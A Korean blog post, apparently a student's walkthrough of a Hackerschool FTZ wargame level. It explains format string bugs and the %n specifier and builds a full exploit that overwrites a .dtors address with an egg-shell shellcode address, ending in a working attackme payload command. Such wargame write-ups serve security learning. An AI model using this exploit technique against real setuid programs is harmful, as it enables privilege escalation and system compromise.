포맷 스트링 버그 기법으로 풀 수 있는 문제이다! 공격을 해서 쉘을 휙득하면

레벨12의 권한을 얻을 수 있는거같네요!

저렇게 printf에 서식문자를 통하지 않고 바로 포인터 변수를 써버리면 

포맷 스트링 버그를 사용할 수 있습니다!

자 먼저 서식문자를 몇개 넣어야지 str[256] 읽히는지 알아보겠습니다

bffffc14가 나왓네요 자 그럼 srt[256]이 읽힐떄까지 넣어보도록 하죠!

%x를 네번 넣엇더니 AAAA의 값이 제대로 나오는군요 

* 저는 많이 지식이 부족한 이제 막 배워가는 학생입니다 제 글을 보기전에 다른 훌륭한 문서들을 익히고 와주세요! *

포맷 스트링 버그에서 가장 중요한 서식문자%n 이 존재합니다

printf( str ) 이런식이면 문자열중에 %d등과 같은 서식문자를 만나면 스택에서 다음 4바이트를 읽어서 출력합니다!

하지만 %n은 %n이 등장하기 전 출력된 자릿수를 계산하여 스택의 다음 4 바이트에 있는 내용을 주소로 생각하고 그 주소에다가 입력을 합니다!

대충 에시를 들자면 AAAA의 값을 예로 들엇는데 저 값이 %n을 만나면 AAAA는 총 4자리입니다  그리고 스택의 다음 4바이트 내용은 0x41414141인데 이 주소에 자릿수4를 사용해버리는겁니다. 즉 메모리 주소에 원하는 내용을 쓸 수 잇습니다 (%임의정수c)

ret주소에 쉘코드 주소를 박아 넣을 수 잇고 쉘코드를 10진수로 바꿔서 ret주소에 덮어(?)버리면 됩니다

여기서 이제 대충 공격 코드를 생각해 보겠습니다

./attackme `python -c'print"AAAARET주소를 Little Endian으로 나타낸수%8x%8x%8x%쉘코드주소를10진수로 바꾼수c%n"'`

아까 분명히 %x를 4번 썻더니 str의 값이 나온거같은데 저기 공격 코드에서는 3개밖에 안보이네요 그 이유는 RET주소가 STR에 있기 때문입니다. %8x로 한 이유는 각 부분이 최대 8자리를 차지하는것이 이유입니다.

저 위에서쉘코드 주소를 10진수로 바꾼수에서 10진수 정수형으로는 쉘코드 주소의 최대 크기를 감당하지 못하므로 쉘코드 주소를 반씩 나누어서 입력해야 합니다.

./attackme `python -c'print"AAAARET주소를 Little Endian으로 나타낸수AAAARET주소+2를 Little Endian으로 나타낸수%8x%8x%8x%쉘코드주소의 반을 10진수로 바꾼수c%n쉘코드주소의 반을 10진수로 바꾼 수c%n"'`

자 여기서 또 %n은 지금까지 나온 모든 바이트를 세기때문에 문자들도 신경을 써줘야합니다AAAA(4) RET주소(4) AAAA(4) RET주소+2(4) %8x(8)*3 으로 총 40의 바이트입니다

./attackme `python -c'print"AAAARET주소를 Little Endian으로 나타낸수AAAARET주소+2를 Little Endian으로 나타낸수%8x%8x%8x%쉘코드주소의 반을 10진수로 바꾼수-40c%n쉘코드주소의 반을 10진수로 바꾼 수 - 앞 쉘코드 주소의 반을 10진수로 바꾼 수c%n"'`

이게 최종 공격코드입니다 자 이제 주소를 구해볼까요 먼저 RET주소를 구하는 방법입니다

objdump -h attackme | grep .dtors

저기서 보이는 0804960c에 4를 더해준 값이 바로 RET주소입니다

이번엔 쉘 코드를 구해야하는데 에그쉘을 이용하여 구해보겟습니다

저렇게 쉘 코드 주소가 나왔네요 

자 먼저 RET주소를 Little Endian으로 나타내면 

\x10\x96\x04\x08이 됩니다. RET주소 +2의 값은 \x12\x96\x04\x08이 됩니다.

그 다음으로 쉘코드를 10진수로 나타내면 

0xf3a1 = 62369 0xbfff =49151

62369 - 40 = 62329 쉘코드주소전자의 반 - 쉘코드주소후자의 반 = 

음수가 나오기때문에 0x1bfff로 계산합니다 .

114687 - 62369 = 52318

자 이제 권한을 얻어보겟습니다

공격코드 - ./attackme `python -c'print"AAAA\x10\x96\x04\x08AAAA\x12\x96\x04\x08%8x%8x%8x%62329c%n%52318c%n"'`


다음 패스워드를 휙득했습니다!



'해커스쿨 ftz' 카테고리의 다른 글

FTZ - LEVEL13  (0) 2016.04.23
FTZ - LEVEL12  (0) 2016.04.22
FTZ - LEVEL 10  (0) 2016.04.15
FTZ - LEVEL9(gdb)  (0) 2016.04.10
FTZ - LEVEL9 (소스)  (0) 2016.04.10

+ Recent posts